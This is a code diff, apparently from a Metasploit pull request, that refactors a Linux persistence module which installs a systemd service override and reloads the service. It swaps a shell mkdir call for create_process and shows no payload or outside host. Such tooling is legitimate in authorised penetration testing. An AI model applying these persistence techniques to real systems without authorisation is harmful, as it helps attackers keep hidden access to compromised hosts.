Substitutes cmd_exec with mkdir to create_process

Author: msutovsky-r7

modules/exploits/linux/persistence/init_systemd_override.rb

@@ -104,7 +104,7 @@ def install_persistence
 
     unless exists?(service_dir)
       vprint_status("Creating #{service_dir}")
-      cmd_exec("mkdir -p '#{service_dir}'") # don't use mkdir because it does a register_dir_for_cleanup that we don't want, or it ruins persistence
+      create_process('mkdir', args: ['-p', service_dir])
     end
 
     if exists?(override_conf)
@@ -143,13 +143,13 @@ def install_persistence
     systemd_socket_id = cmd_exec('id -u')
     systemd_socket_dir = "/run/user/#{systemd_socket_id}"
     cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")
+
     @clean_up_rc << 'execute -f /bin/systemctl -a "daemon-reload"'
     @clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""
 
     if datastore['ReloadService']
       vprint_status("Reloading #{datastore['SERVICE']} service")
       cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
-
     end
   end
 end